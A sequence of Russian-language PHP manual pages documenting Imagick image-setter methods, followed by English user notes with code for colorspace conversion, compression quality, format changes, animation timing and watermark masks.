public Imagick::setImageBorderColor(mixed $border): bool

Устанавливает цвет рамки изображения.

Список параметров

border

Цвет рамки

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь разрешается передавать строку, представляющую цвет в качестве параметра. Предыдущие версии допускают только объект ImagickPixel.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает глубину определённого канала изображения

  • « Imagick::setImageBorderColor
  • Imagick::setImageClipMask »
  • PHP Manual
  • Imagick
  • Устанавливает глубину определённого канала изображения

Imagick::setImageChannelDepth

(PECL imagick 2, PECL imagick 3)

Imagick::setImageChannelDepth — Устанавливает глубину определённого канала изображения

Описание

public Imagick::setImageChannelDepth(int $channel, int $depth): bool

Устанавливает глубину определённого канала изображения.

Список параметров

channel

depth

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает маску клипа

  • « Imagick::setImageChannelDepth
  • Imagick::setImageColormapColor »
  • PHP Manual
  • Imagick
  • Устанавливает маску клипа

Imagick::setImageClipMask

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::setImageClipMask — Устанавливает маску клипа

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::setImageClipMask(Imagick $clip_mask): bool

Устанавливает маску клипа изображения из другого объекта Imagick. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

clip_mask

Объект Imagick, содержащий маску клипа

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::setImageClipMask()

<?php
function setImageClipMask($imagePath) {
$imagick = new \Imagick();
$imagick->readImage(realpath($imagePath));

$width = $imagick->getImageWidth();
$height = $imagick->getImageHeight();

$clipMask = new \Imagick();
$clipMask->newPseudoImage(
$width,
$height,
"canvas:transparent"
);

$draw = new \ImagickDraw();
$draw->setFillColor('white');
$draw->circle(
$width / 2,
$height / 2,
($width / 2) + ($width / 4),
$height / 2
);
$clipMask->drawImage($draw);
$imagick->setImageClipMask($clipMask);

$imagick->negateImage(false);
$imagick->setFormat("png");

header("Content-Type: image/png");
echo $imagick->getImagesBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет указанного индекса цветовой карты

  • « Imagick::setImageClipMask
  • Imagick::setImageColorspace »
  • PHP Manual
  • Imagick
  • Устанавливает цвет указанного индекса цветовой карты

Imagick::setImageColormapColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageColormapColor — Устанавливает цвет указанного индекса цветовой карты

Описание

public Imagick::setImageColormapColor(int $index, ImagickPixel $color): bool

Устанавливает цвет указанного индекса цветовой карты.

Список параметров

index

color

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цветовое пространство изображения

  • « Imagick::setImageColormapColor
  • Imagick::setImageCompose »
  • PHP Manual
  • Imagick
  • Устанавливает цветовое пространство изображения

Imagick::setImageColorspace

(PECL imagick 2, PECL imagick 3)

Imagick::setImageColorspace — Устанавливает цветовое пространство изображения

Описание

public Imagick::setImageColorspace(int $colorspace): bool

Устанавливает цветовое пространство изображения. Метод следует использовать при создании новых изображений. Чтобы изменить цветовое пространство существующего изображения, вы должны использовать Imagick::transformImageColorspace().

Список параметров

colorspace

Одна из COLORSPACE констант

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

Cesare Bordi 05-Dec-2017 08:27
These are the basic steps to convert an image from RGB to CMYK:

$image = new Imagick();
$image->readImage(rgb.jpg);
$image->setImageColorSpace(Imagick::COLORSPACE_CMYK);
$image->profileImage('icc', file_get_contents(/path/CoatedFOGRA27.icc'));
$image->negateImage(FALSE, imagick::COLOR_CYAN);
$image->negateImage(FALSE, imagick::COLOR_MAGENTA);
$image->negateImage(FALSE, imagick::COLOR_YELLOW);
$image->negateImage(FALSE, imagick::COLOR_BLACK);
$image->writeImage(cmyk.rgb);
cesarebordi 05-Dec-2017 08:26
These are the basic steps to convert an image from RGB to CMYK:

$image = new Imagick();
$image->readImage(rgb.jpg);
$image->setImageColorSpace(Imagick::COLORSPACE_CMYK);
$image->profileImage('icc', file_get_contents(/path/CoatedFOGRA27.icc'));
$image->negateImage(FALSE, imagick::COLOR_CYAN);
$image->negateImage(FALSE, imagick::COLOR_MAGENTA);
$image->negateImage(FALSE, imagick::COLOR_YELLOW);
$image->negateImage(FALSE, imagick::COLOR_BLACK);
$image->writeImage(cmyk.rgb);

For more information:
http://www.cesarebordi.it/imagemagick-php-convertire-rgb-to-cmyk-web-developer/
pilot114 at bk dot ru 22-Jan-2015 01:58
Simlest way converting from CMYK to RGB:

<?php
if ($jpeg->getImageColorspace() == \Imagick::COLORSPACE_CMYK) {
    $jpeg->transformimagecolorspace(\Imagick::COLORSPACE_SRGB);
}
?>

It is pretty work in current stable Image Magick (6.9.0-4).
kevin.a.florida 15-Jun-2013 03:53
I have a better solution for solving inverted colors on php 5.3.x than posted.  All the other solutions I found darkens the image or messes with the colors.

See below (note: my imagick object is $jpeg)

$range = $jpeg->getQuantumRange();
            $php_vs_arr = preg_split("/\./", phpversion());
            $php_vs = $php_vs_arr[0] . '.' . $php_vs_arr[1];
            if ($jpeg->getImageColorspace() == Imagick::COLORSPACE_CMYK) {

                //make sure cmyk color-space is set correctly
                $jpeg->setImageColorspace(12);

                // then we add an RGB profile
                $icc_rgb = file_get_contents(FRAMEWORK_PATH . DS . 'color' . DS . 'AdobeRGB1998.icc');
                $jpeg->profileImage('icc', $icc_rgb);
                unset($icc_rgb);

                //set color space to rgb
                $jpeg->setImageColorspace(13);

                //fix gamma, hue, saturation, brightness
                if($php_vs < 5.3) {
                    //ADJUST GAMMA BY 20% for 5.2.x
                    $jpeg->levelImage(0, 2.0, $range['quantumRangeString']);
                } else {
                    //php 5.3 hack FOR INVERTED COLORS
                    $jpeg->negateImage(false, Imagick::CHANNEL_ALL);
                }

            }
            $jpeg->stripImage();
            //end convert to RGB=========================|
eth at ethaniel dot com 28-Feb-2012 06:15
When converting from CMYK to RGB using this function, the image can become inverted. To fix this, use a workaround (don't forget to download the .icc files online):

<?php
// don't use this (it inverts the image)
//    $img->setImageColorspace (imagick::COLORSPACE_RGB);

if ($img->getImageColorspace() == Imagick::COLORSPACE_CMYK) {
   $profiles = $img->getImageProfiles('*', false);
   // we're only interested if ICC profile(s) exist
   $has_icc_profile = (array_search('icc', $profiles) !== false);
   // if it doesnt have a CMYK ICC profile, we add one
   if ($has_icc_profile === false) {
       $icc_cmyk = file_get_contents(dirname(__FILE__).'/USWebUncoated.icc');
       $img->profileImage('icc', $icc_cmyk);
       unset($icc_cmyk);
   }
   // then we add an RGB profile
   $icc_rgb = file_get_contents(dirname(__FILE__).'/sRGB_v4_ICC_preference.icc');
   $img->profileImage('icc', $icc_rgb);
   unset($icc_rgb);
}

$img->stripImage (); // this will drop down the size of the image dramatically (removes all profiles)
?>
mettedraq at gmail dot com 01-Jul-2010 12:21
This is how to Monochrome a jpg [on Windows].. since I couldn't find it anywhere else.

<?php
header("Content-type: image/jpeg");

$IMagick = new IMagick('c:\\testing\\fruit.jpg');
$IMagick->setImageColorSpace(Imagick::COLORSPACE_GRAY);

echo $IMagick;
?>
charlie at midsouthhost dot com 06-May-2010 09:45
If your getting strange/bad color rendering from a PDF, after trying the colorspace constants noted by jdstraughan, try other values outside that range.

In one case for me only $image->setImageColorSpace(22) provided useful color. I have found posts elsewhere using values up to 255.
jdstraughan dot com at gmail dot com 26-Sep-2008 12:16
FYI, here is the breakdown for (int $colorspace):

Constants:
0 - UndefinedColorspace
1 - RGBColorspace
2 - GRAYColorspace
3 - TransparentColorspace
4 - OHTAColorspace
5 - LABColorspace
6 - XYZColorspace
7 - YCbCrColorspace
8 - YCCColorspace
9 - YIQColorspace
10 - YPbPrColorspace
11 - YUVColorspace
12 - CMYKColorspace
13 - sRGBColorspace
14 - HSBColorspace
15 - HSLColorspace
16 - HWBColorspace


Устанавливает оператор составного изображения

  • « Imagick::setImageColorspace
  • Imagick::setImageCompression »
  • PHP Manual
  • Imagick
  • Устанавливает оператор составного изображения

Imagick::setImageCompose

(PECL imagick 2, PECL imagick 3)

Imagick::setImageCompose — Устанавливает оператор составного изображения

Описание

public Imagick::setImageCompose(int $compose): bool

Устанавливает оператор составного изображения, полезный для указания, как составлять эскиз изображения при использовании метода Imagick::montageImage().

Список параметров

compose

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает сжатие изображения

  • « Imagick::setImageCompose
  • Imagick::setImageCompressionQuality »
  • PHP Manual
  • Imagick
  • Устанавливает сжатие изображения

Imagick::setImageCompression

(PECL imagick 2, PECL imagick 3)

Imagick::setImageCompression — Устанавливает сжатие изображения

Описание

public Imagick::setImageCompression(int $compression): bool

Список параметров

compression

Одна из COMPRESSION констант

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

xudongding 09-Aug-2019 09:14
const COMPRESSION_UNDEFINED = 0;
const COMPRESSION_NO = 1;
const COMPRESSION_BZIP = 2;
const COMPRESSION_FAX = 6;
const COMPRESSION_GROUP4 = 7;
const COMPRESSION_JPEG = 8;
const COMPRESSION_JPEG2000 = 9;
const COMPRESSION_LOSSLESSJPEG = 10;
const COMPRESSION_LZW = 11;
const COMPRESSION_RLE = 12;
const COMPRESSION_ZIP = 13;
const COMPRESSION_DXT1 = 3;
const COMPRESSION_DXT3 = 4;
const COMPRESSION_DXT5 = 5;
const COMPRESSION_ZIPS = 14;
const COMPRESSION_PIZ = 15;
const COMPRESSION_PXR24 = 16;
const COMPRESSION_B44 = 17;
const COMPRESSION_B44A = 18;
const COMPRESSION_LZMA = 19;
const COMPRESSION_JBIG1 = 20;
const COMPRESSION_JBIG2 = 21;
jacob at fragdev dot com 19-Apr-2019 04:12
On Ubuntu 18.04, these are the default compression methods used for the following common image formats:

PNG:  Imagick::COMPRESSION_ZIP
JPEG: Imagick::COMPRESSION_JPEG
GIF:  Imagick::COMPRESSION_LZW
snipes2083 [at] yahoo com 28-Mar-2010 10:03
Above it says "One of the COMPRESSION constants" for the parameters.  For any of you that found this confusing, you can find a list of the constants here:

Predefined Constants
http://www.php.net/manual/en/imagick.constants.php

As an example for working with a jpeg image:

<?php
    $image = 'jpeg_image.jpg';
    $comression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image);
    $im->setImageCompression($compression_type);
?>

This class does not actually compress the images but rather sets the compression type that is going to be used.

If you would like to see how to compress the image see:
Imagick::setImageCompressionQuality


Устанавливает качество сжатия изображения

  • « Imagick::setImageCompression
  • Imagick::setImageDelay »
  • PHP Manual
  • Imagick
  • Устанавливает качество сжатия изображения

Imagick::setImageCompressionQuality

(PECL imagick 2, PECL imagick 3)

Imagick::setImageCompressionQuality — Устанавливает качество сжатия изображения

Описание

public Imagick::setImageCompressionQuality(int $quality): bool

Устанавливает качество сжатия изображения.

Список параметров

quality

Качество сжатия изображения в виде целого числа

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::setImageCompressionQuality()

<?php
function setImageCompressionQuality($imagePath, $quality) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageCompressionQuality($quality);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 04-Jul-2023 11:35
The setImageCompressionQuality method accepts an integer value as its argument, representing the desired compression quality for the image, from 0 to 100, where 0 represents the lowest quality (highest compression, most lossy), and 100 represents the highest quality (lowest compression, lossless).

* Quality 0: Lowest quality, highest compression, most lossy. This will result in a very small file size, but the image will likely have noticeable artifacts and reduced clarity.

* Quality 100: Highest quality, lowest compression, lossless. The image will retain all its original details, but the file size will be larger.

In most cases, a quality value between 70 and 90 provides a good balance between file size and image quality. However, the optimal value depends on your specific use case and the level of compression you can tolerate while maintaining acceptable image clarity. It's best to experiment with different quality values to find the one that best suits you
vhpvhp at msn dot com 08-Nov-2018 09:30
For a PNG image, `setImageCompressionQuality()` is not work at all, length of the generated files are totally same.

But I found an effective way, that is use `setOption('png:compression-level', 9)`, the value range is 0-9.
dylan dot arnold at gmail dot com 23-Aug-2012 03:23
I had strange results when trying to get good png compression.

I used Imagick::COMPRESSION_ZIP

Here are a few file sizes for a few compression levels.

0: 236,100
1: 274,035
9: 258,379
50: 241,282
100: 240,156

Note the best result at 0. Also I got thrown off for a long time trying to get similar results to gimp. Make sure your image depth is set to 8, it appears to be 16 bits per channel, at least for me.

You can check with identify -verbose filename.png

You can also strip a bit more file size with $image->stripImage();
Anonymous 20-Jun-2012 02:56
The default value fot the JPEG compression quality appears to be 86.
snipes2083 [at] yahoo com 28-Mar-2010 11:35
This example shows how to set the compression type, set the compression quality, create a thumbnail and remove unnecessary data in order to reduce file size.

This will use the following functions in reference:
Imagick::setImageCompression
Imagick::setImageCompressionQuality
Imagick::stripImage
Imagick::thumbnailImage
Imagick::writeImage

<?php
    $image = 'image.jpg';
    $directory = '/path/to/image';
    $image_location = $directory . "/" . $image;
    $thumb_destination = $directory . "/t" . $image;
    $compression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image_location);
    $thumbnail = $im->clone;

    $thumbnail->setImageCompression($compression_type);
    $thumbnail->setImageCompressionQuality(40);
    $thumbnail->stripImage();
    $thumbnail->thumbnailImage(100,null);
    $thumbnail->writeImage($thumb_destination);
?>

Now, obviously you don't have to do so much with the variables and the file location.  I only used so many to demonstrate where the images are coming from and where they are going.

NOTE:  The $thumbnail->thumbnailImage(100,null); keeps the aspect ration by setting the second parameter to null.  Read about this at Imagick::thumbnailImage

There is another way to create thumbnails that works quite well if you want to crop the image rather than using the entire image.  Check out Imagick::cropThumbnailImage


Устанавливает задержку изображения

  • « Imagick::setImageCompressionQuality
  • Imagick::setImageDepth »
  • PHP Manual
  • Imagick
  • Устанавливает задержку изображения

Imagick::setImageDelay

(PECL imagick 2, PECL imagick 3)

Imagick::setImageDelay — Устанавливает задержку изображения

Описание

public Imagick::setImageDelay(int $delay): bool

Устанавливает задержку изображения. Для анимированного изображения это количество времени, в течение которого этот кадр изображения должен отображаться до отображения следующего кадра.

Задержка может быть установлена индивидуально для каждого кадра в изображении.

Список параметров

delay

Количество времени, выраженное в 'тиках', для которого должно отображаться изображение. Для анимированных GIF-файлов есть 100 тиков в секунду, поэтому значение 20 будет равно 20/100 секунды, то есть 1/5 секунды.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Изменить анимированный GIF с помощью Imagick::setImageDelay()

<?php

// Измените анимированный GIF, чтобы его кадры воспроизводились с переменной скоростью,
// варьируясь от показа в течение 50 мс до 0 мс,
// что приведёт к пропуску фрейма в большинстве браузеров.
$imagick = new Imagick(realpath("Test.gif"));
$imagick = $imagick->coalesceImages();

$frameCount = 0;

foreach ($imagick as $frame) {
$imagick->setImageDelay((($frameCount % 11) * 5));
$frameCount++;
}

$imagick = $imagick->deconstructImages();

$imagick->writeImages("/path/to/save/output.gif", true);

?>

User Contributed Notes

fortruth at mabang dot net 03-Jun-2010 08:02
the delay time unit is micro-second  when 100  is  1s


Устанавливает глубину изображения

  • « Imagick::setImageDelay
  • Imagick::setImageDispose »
  • PHP Manual
  • Imagick
  • Устанавливает глубину изображения

Imagick::setImageDepth

(PECL imagick 2, PECL imagick 3)

Imagick::setImageDepth — Устанавливает глубину изображения

Описание

public Imagick::setImageDepth(int $depth): bool

Устанавливает глубину изображения.

Список параметров

depth

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

kehrigan at gmail dot com 23-Jul-2014 08:25
Depth is a number in terms of bits. Floats seem to be accepted.

From the ImageMagick documentation:
"This the number of bits in a color sample within a pixel. Use this option to specify the depth of raw images whose depth is unknown such as GRAY, RGB, or CMYK, or to change the depth of any image after it has been read."


Устанавливает метод удаления изображения

  • « Imagick::setImageDepth
  • Imagick::setImageExtent »
  • PHP Manual
  • Imagick
  • Устанавливает метод удаления изображения

Imagick::setImageDispose

(PECL imagick 2, PECL imagick 3)

Imagick::setImageDispose — Устанавливает метод удаления изображения

Описание

public Imagick::setImageDispose(int $dispose): bool

Устанавливает метод удаления изображения.

Список параметров

dispose

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

malou_pitawawa at hotmail dot com 16-Jan-2010 04:00
The layer disposal method defines the way each the displayed image is to be modified after the current 'frame' of an animation has finished being displayed (after its 'delay' period), but before the next frame on an animation is to be overlaid onto the display.

Value for $dispose:

Undefined: 0 -> No disposal specified (equivalent to 'none').
None: 1 -> Do not dispose, just overlay next frame image.
Background: 2 -> Clear the frame area with the background color.
Previous: 3 -> Clear to the image prior to this frames overlay.

from: http://www.imagemagick.org/script/command-line-options.php?#dispose


Устанавливает размер изображения

  • « Imagick::setImageDispose
  • Imagick::setImageFilename »
  • PHP Manual
  • Imagick
  • Устанавливает размер изображения

Imagick::setImageExtent

(PECL imagick 2, PECL imagick 3)

Imagick::setImageExtent — Устанавливает размер изображения

Описание

public Imagick::setImageExtent(int $columns, int $rows): bool

Устанавливает размер изображения (то есть столбцы & строки).

Список параметров

columns

rows

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

charles dot p dot hall at gmail dot com 29-Oct-2014 05:31
In other graphics systems I have seen this referred to as Canvas size or re-dimensioning. It changes the dimension of the image without re-scaling. Added pixels appear black, removed pixels are simply cropped away.
tim at komta dot com 19-Oct-2009 12:02
This function actually sets the width and height of the image (in pixels).

Took me forever to figure this out.


Устанавливает имя файла конкретного изображения

  • « Imagick::setImageExtent
  • Imagick::setImageFormat »
  • PHP Manual
  • Imagick
  • Устанавливает имя файла конкретного изображения

Imagick::setImageFilename

(PECL imagick 2, PECL imagick 3)

Imagick::setImageFilename — Устанавливает имя файла конкретного изображения

Описание

public Imagick::setImageFilename(string $filename): bool

Устанавливает имя файла конкретного изображения в последовательности.

Список параметров

filename

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает формат определённого изображения

  • « Imagick::setImageFilename
  • Imagick::setImageGamma »
  • PHP Manual
  • Imagick
  • Устанавливает формат определённого изображения

Imagick::setImageFormat

(PECL imagick 2, PECL imagick 3)

Imagick::setImageFormat — Устанавливает формат определённого изображения

Описание

public Imagick::setImageFormat(string $format): bool

Устанавливает формат определённого изображения в последовательности.

Список параметров

format

Строковое представление формата изображения. Поддержка формата зависит от установки ImageMagick.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

layzee dot dk at gmail dot com 01-Jul-2013 06:44
This method only affects the individual loaded/constructed images.

To set the format of the entire object, use the Imagick::setFormat method. E.g. load TIFF files, then use setFormat('pdf') on the Imagick object, then writeImagesFile('foo.pdf') or getImagesBlob().
markus dot s dot schmitz at gmail dot com 11-Dec-2012 01:47
If you use writeFile or writeFiles without setting the format, it is automatically set according to the file extension used within the parameter of writeFile.
nathan at crause dot name 18-Aug-2010 09:35
For those of you completely confused by the utter lack of documentation for this class (including notes being dropped, probably this one included), the differences between any "setXXX" and "setImageXXX" seems to be entirely dependently on HOW the image was loaded.

If the image was loaded at object constructor time, it seems that you use "setXXX" - if you loaded it after the fact (such as via "readImageBlob") then you use "setImageXXX".

This is irregular, however. For example:

<?php
        $image = new Imagick();

        $image->setResolution(300, 300);
        $image->readImageBlob(...);
        // convert the output to JPEG
        $image->setImageFormat('jpeg');
        $image->setImageCompressionQuality(90);
?>

Note that we use "setResolution" not "setImageResolution".
andy at live dot nl 26-Feb-2009 06:54
I had a problem when using $im->setImageFormat('jpeg');
Image colors got inverted when i converted pdfs to jpg thumbs.
Had to add $im->setImageColorspace(255); to solve it.

<?php
// read page 1
$im = new imagick( 'test.pdf[ 0]' );

// convert to jpg
$im->setImageColorspace(255);
$im->setCompression(Imagick::COMPRESSION_JPEG);
$im->setCompressionQuality(60);
$im->setImageFormat('jpeg');

//resize
$im->resizeImage(290, 375, imagick::FILTER_LANCZOS, 1);

//write image on server
$im->writeImage('thumb.jpg');
$im->clear();
$im->destroy();
?>
barclay[dot]loftus[at]gmail.com 12-Mar-2008 03:04
Another note about image output. For jpeg images, the quality is adjusted by Imagick::setCompressionQuality().

<?php
$img->setCompressionQuality(90);
$img->setImageFormat('jpeg');
header('Content-type: image/jpg');
echo $img;
?>
optymizer at yahoo dot com 21-Nov-2007 03:09
The previous example did not work for me. I received an error that the IMagick object cannot be converted to string.

This example uses the IMagick::getImageBlob() method to properly output the contents of the converted image:

function getImage($filename)
{
            $image->readImage($filename);
            $image->setImageFormat("png");
            header("Content-type: image/png");
            echo $image->getImageBlob();
}

Hope this helps!
Devo 07-Oct-2007 08:02
A list of formats can be found here: http://www.imagemagick.org/script/formats.php

Formats marked with a W can be output to file with writeImage (capabilities depend on your particular installation of course).

For example:

<?php
// create new imagick object from image.jpg
$im = new Imagick( "image.jpg" );

// change format to png
$im->setImageFormat( "png" );

// output the image to the browser as a png
header( "Content-Type: image/png" );
echo $im;

// or you could output the image to a file:
//$im->writeImage( "image.png" );
?>


Устанавливает гамму изображения

  • « Imagick::setImageFormat
  • Imagick::setImageGravity »
  • PHP Manual
  • Imagick
  • Устанавливает гамму изображения

Imagick::setImageGamma

(PECL imagick 2, PECL imagick 3)

Imagick::setImageGamma — Устанавливает гамму изображения

Описание

public Imagick::setImageGamma(float $gamma): bool

Устанавливает гамму изображения.

Список параметров

gamma

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает гравитацию изображения

  • « Imagick::setImageGamma
  • Imagick::setImageGreenPrimary »
  • PHP Manual
  • Imagick
  • Устанавливает гравитацию изображения

Imagick::setImageGravity

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::setImageGravity — Устанавливает гравитацию изображения

Описание

public Imagick::setImageGravity(int $gravity): bool

Устанавливает свойство гравитации для текущего изображения. Метод можно использовать для установки свойства гравитации для одной последовательности изображений. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или старше.

Список параметров

gravity

Свойство гравитации. Обратитесь к списку gravity констант.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цветность изображения зелёной первичной точкой

  • « Imagick::setImageGravity
  • Imagick::setImageIndex »
  • PHP Manual
  • Imagick
  • Устанавливает цветность изображения зелёной первичной точкой

Imagick::setImageGreenPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::setImageGreenPrimary — Устанавливает цветность изображения зелёной первичной точкой

Описание

public Imagick::setImageGreenPrimary(float $x, float $y): bool

Устанавливает цветность изображения зелёной первичной точкой.

Список параметров

x

y

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает позицию итератора

  • « Imagick::setImageGreenPrimary
  • Imagick::setImageInterlaceScheme »
  • PHP Manual
  • Imagick
  • Устанавливает позицию итератора

Imagick::setImageIndex

(PECL imagick 2, PECL imagick 3)

Imagick::setImageIndex — Устанавливает позицию итератора

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::setImageIndex(int $index): bool

Устанавливает итератор в позицию в списке изображений, указанную параметром index.

Этот метод объявлен устаревшим. Используйте Imagick::setIteratorIndex().

Список параметров

index

Позиция для установки итератора.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

maulik_Vr at yahoo dot co dot in 22-Apr-2013 07:37
when you read pdf by getImageBlog and want to get the image or blob of a specific page, use this function as below.

$ims = new Imagick();

$ims->readImageBlob($pdfFileContent);

$ims->setImageIndex(5); //this will return 6th page of the pdf file
$image->setImageFormat('png');
            //etc
$blob = $image->getImageBlob();
Rob Hidalgo 09-Oct-2012 05:05
When reading a PDF from an ImageBlob, and you want to set the page to be used, this is the function to use.


Устанавливает сжатие изображения

  • « Imagick::setImageIndex
  • Imagick::setImageInterpolateMethod »
  • PHP Manual
  • Imagick
  • Устанавливает сжатие изображения

Imagick::setImageInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::setImageInterlaceScheme — Устанавливает сжатие изображения

Описание

public Imagick::setImageInterlaceScheme(int $interlace_scheme): bool

Устанавливает сжатие изображения.

Список параметров

interlace_scheme

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

WJS 17-Nov-2014 03:21
This function doesn't appear to do anything. Use setInterlaceScheme instead.


Устанавливает метод интерполяции пикселей изображения

  • « Imagick::setImageInterlaceScheme
  • Imagick::setImageIterations »
  • PHP Manual
  • Imagick
  • Устанавливает метод интерполяции пикселей изображения

Imagick::setImageInterpolateMethod

(PECL imagick 2, PECL imagick 3)

Imagick::setImageInterpolateMethod — Устанавливает метод интерполяции пикселей изображения

Описание

public Imagick::setImageInterpolateMethod(int $method): bool

Устанавливает метод интерполяции пикселей изображения.

Список параметров

method

Метод, являющийся одной из констант Imagick::INTERPOLATE_*.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает итерации изображения

  • « Imagick::setImageInterpolateMethod
  • Imagick::setImageMatte »
  • PHP Manual
  • Imagick
  • Устанавливает итерации изображения

Imagick::setImageIterations

(PECL imagick 2, PECL imagick 3)

Imagick::setImageIterations — Устанавливает итерации изображения

Описание

public Imagick::setImageIterations(int $iterations): bool

Устанавливает количество итераций, когда анимированное изображение повторяется.

Список параметров

iterations

Число итераций, которые изображение должно повторить. Используйте значение '0' для непрерывного повторения.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::setImageIterations()

<?php

$imagick = new Imagick(realpath("Test.gif"));

$imagick = $imagick->coalesceImages();
$imagick->setImageIterations(1);
$imagick = $imagick->deconstructImages();

$imagick->writeImages('/path/to/save/OnceOnly.gif', true);

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает матовый канал изображения

  • « Imagick::setImageIterations
  • Imagick::setImageMatteColor »
  • PHP Manual
  • Imagick
  • Устанавливает матовый канал изображения

Imagick::setImageMatte

(PECL imagick 2, PECL imagick 3)

Imagick::setImageMatte — Устанавливает матовый канал изображения

Описание

public Imagick::setImageMatte(bool $matte): bool

Устанавливает матовый канал изображения. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

matte

Значение true активирует матовый канал, false - отключает.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

martin at psinas dot com 05-Oct-2011 06:33
I found this method is needed when creating a font / image mask, and needs to be set to false otherwise the mask won't take effect. Here is an example:

<?php

// Create objects
$image = new Imagick('myImage.png');
$watermark = new Imagick();
$mask = new Imagick();
$draw = new ImagickDraw();

// Define dimensions
$width = $image->getImageWidth();
$height = $image->getImageHeight();

// Create some palettes
$watermark->newImage($width, $height, new ImagickPixel('grey30'));
$mask->newImage($width, $height, new ImagickPixel('black'));

// Watermark text
$text = 'Copyright';

// Set font properties
$draw->setFont('Bookman-Demi');
$draw->setFontSize(20);
$draw->setFillColor('grey70');

// Position text
$draw->setGravity(Imagick::GRAVITY_SOUTHEAST);

// Draw text on the watermark palette
$watermark->annotateImage($draw, 10, 12, 0, $text);

// Draw text on the mask palette
$draw->setFillColor('white');
$mask->annotateImage($draw, 11, 13, 0, $text);
$mask->annotateImage($draw, 10, 12, 0, $text);
$draw->setFillColor('black');
$mask->annotateImage($draw, 9, 11, 0, $text);

// This is apparently needed for the mask to work
$mask->setImageMatte(false);

// Apply mask to watermark
$watermark->compositeImage($mask, Imagick::COMPOSITE_COPYOPACITY, 0, 0);

// Overlay watermark on image
$image->compositeImage($watermark, Imagick::COMPOSITE_DISSOLVE, 0, 0);

// Set output image format
$image->setImageFormat('png');

// Output the new image
header('Content-type: image/png');
echo $image;

?>


Устанавливает матовый цвет изображения

  • « Imagick::setImageMatte
  • Imagick::setImageOpacity »
  • PHP Manual
  • Imagick
  • Устанавливает матовый цвет изображения

Imagick::setImageMatteColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageMatteColor — Устанавливает матовый цвет изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::setImageMatteColor(mixed $matte): bool

Устанавливает матовый цвет изображения.

Список параметров

matte

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь позволяет использовать представляющую цвет строку в качестве параметра. Предыдущие версии позволяли использовать только объект ImagickPixel.

User Contributed Notes

There are no user contributed notes for this page.


